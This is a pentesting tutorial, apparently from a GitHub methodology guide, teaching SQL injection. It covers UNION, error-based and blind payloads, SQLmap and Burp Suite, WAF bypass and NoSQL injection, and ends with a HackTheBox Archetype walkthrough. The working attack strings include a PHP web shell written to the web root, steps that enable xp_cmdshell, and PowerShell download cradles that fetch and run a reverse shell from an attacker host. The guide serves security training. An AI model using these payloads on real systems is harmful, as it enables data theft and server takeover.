Skip to content

Latest commit

 

History

History
808 lines (618 loc) · 25.8 KB

File metadata and controls

808 lines (618 loc) · 25.8 KB

SQL Injection — The Real Explanation

Databases run everything. Your bank account. Your medical records. Your social media profile. Every e-commerce site you have ever bought something from. Behind almost every website that stores information about you is a database — and between that database and the outside world is a layer of code that is supposed to keep them separate. SQL injection is what happens when that layer has a gap.


🔰 Beginners: This section builds from the ground up. Every technical term gets explained before it is used. Work through it in order and everything will make sense by the time you reach the worked example.

Seasoned practitioners: Jump straight to the Real Worked Example at the bottom for the workflow reference.


📋 Contents


🧠 What Is a Database — Plain English

A database is an organized collection of information stored on a computer so it can be searched, retrieved, and updated quickly.

Think of it like a massive, highly organized filing cabinet. Each drawer is a table. Each folder in the drawer is a row. Each piece of paper in the folder is a column — a specific piece of information like a name, a password, or an email address.

When you log into a website, the website opens that filing cabinet, looks through the users drawer, finds the folder with your username, checks if the password on the paper matches what you typed, and lets you in or turns you away.

The language used to talk to that filing cabinet is SQL.


📝 What Is SQL

SQL stands for Structured Query Language. It is the language that applications use to communicate with databases — asking questions, retrieving data, adding records, and making changes.

Plain English translation of common SQL:

-- The * means "everything" — like a wildcard
-- "Show me everything in the users table"
SELECT * FROM users;

-- "Show me the password for the user named admin"
SELECT password FROM users WHERE username = 'admin';

-- "Add a new user"
INSERT INTO users (username, password) VALUES ('newuser', 'password123');

-- "Delete the user named testuser"
DELETE FROM users WHERE username = 'testuser';

The * is called a wildcard — it means "give me all columns" instead of listing each one by name. The WHERE clause is what filters results down to specific rows — it is also where SQL injection most commonly lives.


💉 What Is SQL Injection

SQL injection happens when an application takes input from a user — a search box, a login form, a URL parameter — and includes that input directly in a database query without checking it first.

The login form example — plain English:

A login form takes your username and password and builds a database query that looks like this:

SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT';

The application is supposed to put your actual username and password where it says INPUT. What happens if instead of a username you type:

' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Breaking down why this works:

The condition '1'='1' is asking the database "is the number 1 equal to the number 1?" The answer is always yes — it is always true. There is no situation where 1 does not equal 1.

The OR before it means the database only needs ONE of the two conditions to be true to return a result. The username can be wrong. The password can be wrong. As long as '1'='1' is true — and it always is — the database returns all users and the application logs you in.

You did not hack the database. You had a conversation with it in its own language, and it answered honestly.


❓ Why This Vulnerability Exists

SQL injection has existed since the 1990s and is still one of the most common vulnerabilities found today. The reason is simple — developers build applications that trust user input.

The vulnerable pattern:

# This is what vulnerable code looks like
username = request.form['username']
query = "SELECT * FROM users WHERE username = '" + username + "'"
# ↑ User input dropped directly into the query — no checking

The safe pattern:

# This is what safe code looks like — parameterized query
username = request.form['username']
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))
# ↑ Input is passed separately — database treats it as data, not code

The difference is whether the application separates code from data. Parameterized queries — also called prepared statements — tell the database "this is the query shape, and this is the data to fill in" separately. The database never interprets the data as SQL code.

Every major web framework has built-in support for parameterized queries. SQL injection exists because developers skip them — sometimes from inexperience, sometimes from rushing, sometimes from not knowing better.


📊 Types of SQL Injection

Type Plain English When You Use It
In-Band — Error Based The database error message tells you information Error messages are visible on the page
In-Band — UNION Based You add your own query alongside the real one and see results Query results are displayed on the page
Blind — Boolean Based You ask true/false questions and watch the page change No visible output — page behavior changes
Blind — Time Based You make the database pause and measure how long it takes No visible output or behavior change
Out-of-Band Database sends data to an external server you control Rare — requires specific database features

🗺️ The SQLi Exploitation Process

Step 1 → Find injection points
         Any place that takes user input and might query a database
         Login forms, search boxes, URL parameters, cookies

Step 2 → Confirm injection
         Send a single quote ' and look for database errors
         Try boolean tests — does the page behave differently?

Step 3 → Identify the database type
         MySQL, PostgreSQL, MSSQL, Oracle, SQLite all have
         slightly different syntax

Step 4 → Determine number of columns
         Required for UNION-based injection

Step 5 → Extract database information
         Database names → table names → column names → data

Step 6 → Escalate if possible
         Read files, write files, execute commands

🔴 In-Band SQLi — Error Based

Plain English: The database makes a mistake and tells you about it. Those error messages contain information about the database structure that you can use to extract data.

Confirming Injection

# In a URL parameter
http://target.com/page?id=1'

# In a login form username field
admin'

# In a search box
test'

What to look for:

MySQL error:    You have an error in your SQL syntax...
MSSQL error:   Unclosed quotation mark after the character string...
Oracle error:  ORA-01756: quoted string not properly terminated
PostgreSQL:    ERROR: unterminated quoted string at or near...

Any database error confirms injection is possible. The error message itself often reveals the database type.

Extracting Data via Errors (MySQL)

-- Extract database version through error
' AND extractvalue(1,concat(0x7e,version()))-- -

-- Extract current database name
' AND extractvalue(1,concat(0x7e,database()))-- -

-- Extract table names
' AND extractvalue(1,concat(0x7e,(SELECT table_name
  FROM information_schema.tables
  WHERE table_schema=database() LIMIT 0,1)))-- -

🔵 In-Band SQLi — UNION Based

Plain English: SQL has a UNION operator that combines the results of two SELECT queries into one result set. If a page displays query results, you can add your own SELECT query using UNION and have its results displayed alongside the real ones — or instead of them.

Think of it like a restaurant that reads out the daily specials and the regular menu together. If you can inject your own item into that announcement, it gets read out with everything else.

Step 1 — Find the Number of Columns

The UNION query must have the same number of columns as the original.

-- Try ORDER BY to find column count
-- Increase the number until you get an error
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -    ← error here means 2 columns

Step 2 — Find Which Columns Are Displayed

-- Replace the original query results with your test values
' UNION SELECT NULL,NULL-- -
' UNION SELECT 'test1','test2'-- -
-- Look for 'test1' or 'test2' appearing on the page

Step 3 — Extract Information

-- Database version
' UNION SELECT @@version,NULL-- -

-- Current database name
' UNION SELECT database(),NULL-- -

-- Current user
' UNION SELECT user(),NULL-- -

-- All databases on the server
' UNION SELECT schema_name,NULL
  FROM information_schema.schemata-- -

-- All tables in current database
' UNION SELECT table_name,NULL
  FROM information_schema.tables
  WHERE table_schema=database()-- -

-- All columns in the users table
' UNION SELECT column_name,NULL
  FROM information_schema.columns
  WHERE table_name='users'-- -

-- The actual data
' UNION SELECT username,password FROM users-- -

Database-specific syntax differences:

-- MySQL
' UNION SELECT @@version,NULL-- -

-- MSSQL
' UNION SELECT @@version,NULL--

-- Oracle (must select FROM a table — dual is a built-in dummy table)
' UNION SELECT banner,NULL FROM v$version--

-- PostgreSQL
' UNION SELECT version(),NULL--

🟡 Blind SQLi — Boolean Based

Plain English — what boolean means: Boolean is just a fancy word for something that can only be one of two things — true or false. On or off. Yes or no. That is it. Named after mathematician George Boole, it shows up everywhere in computing because computers think in binary — everything eventually comes down to a 1 or a 0.

What a boolean test is: A boolean test is simply a question that can only be answered with yes or no. "Is the sky blue?" — yes. "Is 5 greater than 10?" — no. In SQL injection, you ask the database yes/no questions and watch how the page responds to figure out what the answer was.

Why this matters here: Sometimes a page does not show you database errors or query results directly — it just shows you a page that either loads normally or behaves differently depending on whether the database query succeeded. You cannot see the data. But you can ask yes/no questions and watch whether the page changes — and through enough questions, extract anything.

Think of it like the game 20 Questions. You cannot see the answer directly. But ask "is it bigger than a breadbox?" and watch the reaction — eventually you narrow it down.

What true and false mean in this context:

-- TRUE condition — the real query succeeds, page loads normally
' AND 1=1-- -
-- 1=1 is always true (1 always equals 1)
-- The page loads as expected

-- FALSE condition — the real query fails, page breaks or shows nothing
' AND 1=2-- -
-- 1=2 is always false (1 never equals 2)
-- The page breaks, shows an error, or shows no results

If those two requests produce different page behavior — the page changes between the true and false versions — boolean blind SQLi is confirmed. The database is answering your yes/no questions through how the page responds.

Extracting data one character at a time:

-- "Is the first character of the database name greater than 'm'?"
-- If the page loads normally → yes, it is greater than 'm'
-- If the page breaks → no, it is 'm' or less
' AND (SELECT SUBSTRING(database(),1,1)) > 'm'-- -

-- "Is the first character of the database name equal to 'd'?"
' AND (SELECT SUBSTRING(database(),1,1)) = 'd'-- -

-- Extract username character by character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1) = 'a'-- -

This is tedious manually. Boolean-based blind SQLi requires potentially hundreds of requests to extract even a short string — one character at a time, one yes/no question at a time. This is where automated tools like SQLmap become valuable — they automate the thousands of requests needed to extract data this way.


⏱️ Blind SQLi — Time Based

Plain English: When the page does not change at all between true and false conditions, you have one more option — make the database wait. If you can make the database pause for a specific number of seconds when a condition is true, you can extract data the same way as boolean — just by measuring response time instead of page changes.

If you send a query that says "pause for 5 seconds if the first character of the database name is 'd'" — and the page takes 5 seconds to respond — you know the answer is yes.

-- MySQL — pause 5 seconds if condition is true
' AND SLEEP(5)-- -

-- MSSQL — pause 5 seconds
'; WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL — pause 5 seconds
'; SELECT pg_sleep(5)-- -

-- Oracle — pause 5 seconds
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

-- Extract data with time delays
-- "Is the first character of the database name 'd'? Pause 5s if yes"
' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)-- -

🐚 Getting a Shell via SQLi

In certain conditions SQL injection can be escalated beyond data extraction to actual command execution on the server.

Reading Files (MySQL)

-- Read /etc/passwd if the database user has FILE privilege
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -

-- Read the web application source code
' UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL-- -

Writing Files (MySQL)

-- Write a PHP web shell to the web root
-- Requires FILE privilege and write access to web root
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL
  INTO OUTFILE '/var/www/html/shell.php'-- -

-- Access the shell
-- http://target.com/shell.php?cmd=id

MSSQL — xp_cmdshell

MSSQL has a built-in stored procedure called xp_cmdshell that executes operating system commands directly. It is disabled by default but can sometimes be re-enabled via injection.

-- Enable xp_cmdshell (requires sysadmin privileges)
'; EXEC sp_configure 'show advanced options',1--
'; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1--
'; RECONFIGURE--

-- Execute a command
'; EXEC xp_cmdshell 'whoami'--

-- Get a reverse shell
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://YOUR-IP/shell.ps1'')"'--

🌐 SQLi in Different Contexts

SQL injection is not limited to web forms. It appears anywhere user input reaches a database query.

URL Parameters

# Vulnerable URL
http://target.com/products?id=1

# Test for injection
http://target.com/products?id=1'
http://target.com/products?id=1 AND 1=1-- -
http://target.com/products?id=1 AND 1=2-- -

HTTP Headers

# Inject via User-Agent header
curl -H "User-Agent: ' OR '1'='1" http://target.com/

# Inject via X-Forwarded-For
curl -H "X-Forwarded-For: ' OR '1'='1" http://target.com/

# Inject via Cookie
curl -H "Cookie: session=' OR '1'='1" http://target.com/

Second Order SQLi

Plain English: Second order injection is where you store malicious input in the database — and the injection fires later when the application retrieves and uses that data in a different query.

You register with a username of admin'--. The registration stores it safely. Later, a password change function retrieves your username and uses it unsafely in a new query — and your injection fires then.

This is one of the hardest SQLi variants to find because the injection point and the execution point are in completely different parts of the application.


🛠️ Tools for SQL Injection

SQLmap — Installation

# Kali Linux — pre-installed
sqlmap --version

# Update
sqlmap --update

# Ubuntu / Debian
sudo apt install sqlmap

# macOS
brew install sqlmap

# Windows — Option 1: Python (recommended)
# Install Python from python.org first, then:
pip install sqlmap
# Run with:
python -m sqlmap

# Windows — Option 2: Download directly
# Go to https://sqlmap.org and download the zip
# Extract it, then run:
python sqlmap.py

# Windows — Option 3: WSL2 with Kali (best option for Windows)
# Install WSL2 first (see Metasploit section for WSL2 setup)
# Then inside WSL/Kali:
sudo apt install sqlmap

SQLmap — Core Usage

# Test a URL
sqlmap -u "http://target.com/page?id=1"

# Test and automatically dump everything
sqlmap -u "http://target.com/page?id=1" --dump

# Test a POST request
sqlmap -u "http://target.com/login" \
  --data "username=admin&password=test"

# Test with cookies (authenticated pages)
sqlmap -u "http://target.com/profile?id=1" \
  --cookie "session=abc123"

# Use a saved Burp Suite request
sqlmap -r request.txt

# Specify database type (speeds up testing)
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

# List databases
sqlmap -u "http://target.com/page?id=1" --dbs

# List tables in a database
sqlmap -u "http://target.com/page?id=1" \
  -D database_name --tables

# Dump a specific table
sqlmap -u "http://target.com/page?id=1" \
  -D database_name -T users --dump

# Get an OS shell (if conditions allow)
sqlmap -u "http://target.com/page?id=1" --os-shell

# Batch mode — answer yes to all prompts
sqlmap -u "http://target.com/page?id=1" --batch

Burp Suite — What It Is and How It Works

Plain English — what a proxy is: A proxy is a middleman. Instead of your browser talking directly to a website, it talks to the proxy first — and the proxy passes the message along to the website on your behalf. The website responds to the proxy, and the proxy passes that response back to your browser.

Think of it like having an assistant who reads every letter before you send it and every reply before you receive it. Nothing gets through without passing through their hands first.

Does a proxy hide you? Burp Suite's proxy is not designed for anonymity — it does not hide your identity from the website. The website still sees your real IP address. Burp's proxy exists purely to let you intercept, read, and modify traffic before it goes anywhere. It is a visibility and control tool, not a privacy tool.

For anonymity you would use something like Tor or a VPN — which are different tools for a different purpose.

What Burp Suite's proxy does for security testing:

  • Intercepts every request your browser sends before it reaches the server
  • Lets you read exactly what is being sent — including hidden form fields, cookies, and headers that are invisible in the browser
  • Lets you modify any part of the request before sending it
  • Lets you replay the same request over and over with different values
  • Saves requests so you can feed them to other tools like SQLmap

For SQL injection testing specifically, Burp Suite lets you:

  • Intercept a login form and modify the username before it reaches the server
  • Save the full HTTP request and feed it directly to SQLmap with -r request.txt
  • Use the Repeater tool to manually test injection payloads one at a time
  • Use the Intruder tool to automatically cycle through a list of payloads
# Kali Linux — pre-installed
burpsuite

# macOS / Windows / Linux — download Community Edition free
# https://portswigger.net/burp/communitydownload
# Community Edition is free and covers everything in this guide

Setting up the proxy in your browser: Burp Suite listens on 127.0.0.1:8080 by default. Configure your browser to use that as its proxy:

Firefox:
Settings → Network Settings → Manual proxy configuration
HTTP Proxy: 127.0.0.1    Port: 8080
Check "Also use this proxy for HTTPS"

Chrome (via FoxyProxy extension — recommended):
Install FoxyProxy from the Chrome Web Store
Add a proxy: 127.0.0.1, port 8080
Toggle it on when you want to intercept

🔬 Advanced SQL Injection Concepts

WAF Bypass Techniques

Plain English: A WAF — Web Application Firewall — is a security layer that sits in front of a web application and blocks requests that look like attacks. It scans incoming traffic looking for known attack patterns — things like UNION SELECT or OR 1=1 — and blocks them before they ever reach the application.

WAF bypass is the art of making your injection look like legitimate traffic so the WAF lets it through while the database still interprets it as a command.

-- Case variation (WAFs often match lowercase patterns only)
' uNiOn SeLeCt 1,2,3-- -

-- Comment insertion to break up keywords the WAF is looking for
' UN/**/ION SEL/**/ECT 1,2,3-- -

-- URL encoding (browser decodes it before the database sees it)
' %55NION %53ELECT 1,2,3-- -

-- Double URL encoding
' %2555NION %2553ELECT 1,2,3-- -

-- Whitespace alternatives (tab and newline instead of space)
' UNION%09SELECT 1,2,3-- -    ← tab character
' UNION%0ASELECT 1,2,3-- -    ← newline character

-- Scientific notation for numbers
' UNION SELECT 1e0,2e0,3e0-- -

NoSQL Injection

Plain English: Not all databases use SQL. MongoDB, CouchDB, and Redis use completely different query languages — they are called NoSQL databases because they do not use SQL at all. NoSQL injection works on the same principle as SQL injection — unsanitized user input reaching a database query — but the syntax is completely different because the database speaks a different language.

// MongoDB injection in a login form
// Normal query — what the developer intended:
db.users.find({username: "INPUT", password: "INPUT"})

// Injected query using MongoDB operators:
username: {"$gt": ""}
password: {"$gt": ""}

// $gt means "greater than"
// This asks: find users where username > "" AND password > ""
// Every username and every password is greater than an empty string
// So the database returns all users — login bypass achieved
# Testing for NoSQL injection
# In a JSON POST body:
{"username": {"$gt": ""}, "password": {"$gt": ""}}

# With curl
curl -X POST http://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

💥 Real Worked Example

Target: HackTheBox — Archetype (SQL Server / MSSQL target)

Scenario: You have found a web application with a login form. nmap showed MSSQL running on port 1433.

# Step 1 — Test for injection in the login form
# Username: admin'
# If error appears — injection confirmed

# Step 2 — Identify it is MSSQL from the error message
# "Unclosed quotation mark after the character string"

# Step 3 — Test with SQLmap using a saved Burp request
sqlmap -r login_request.txt --dbms=mssql --batch

# Step 4 — Enumerate databases
sqlmap -r login_request.txt --dbms=mssql --dbs --batch

# Step 5 — Dump credentials
sqlmap -r login_request.txt --dbms=mssql \
  -D master -T users --dump --batch

# Step 6 — Enable xp_cmdshell for RCE
sqlmap -r login_request.txt --dbms=mssql \
  --os-shell --batch

# Step 7 — Get a proper reverse shell through the OS shell
# In the SQLmap OS shell:
xp_cmdshell powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"

Manual approach for the same target:

-- Confirm injection
admin'--

-- Check if xp_cmdshell is available
'; SELECT name FROM sys.configurations WHERE name='xp_cmdshell'--

-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

-- Execute commands
'; EXEC xp_cmdshell 'whoami'--

-- Download and execute a reverse shell
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://YOUR-IP/Invoke-PowerShellTcp.ps1'')"'--

Practice targets:

  • HackTheBox — Archetype (MSSQL)
  • HackTheBox — Popcorn (MySQL)
  • DVWA — SQL Injection module (beginner friendly)
  • PentesterLab — SQL Injection exercises
  • HackTheBox Academy — SQL Injection module

⚔️ CTF vs Real World

CTF Real Engagement
Finding injection Usually obvious — intended path Hidden in headers, cookies, APIs
WAF present Rarely Almost always
Database type Often MySQL Varies — MySQL, MSSQL, Oracle, PostgreSQL
SQLmap use Freely Check scope — automated tools are loud
Manual testing Good practice Often required to bypass WAF
Data extraction Get the flag Scope limited — what are you allowed to touch
Shell escalation Always try it Only if explicitly in scope
Documentation Notes Full evidence capture required

🔗 Related References

Resource What It Covers
Manual Exploitation Manual SQLi workflow in depth
Other Automated Tools SQLmap deep dive
RCE What to do once you have command execution
Shells Turning command execution into a shell
Evasion WAF bypass techniques
Vuln Research Finding SQLi CVEs

by SudoChef · Part of the SudoCode Pentesting Methodology Guide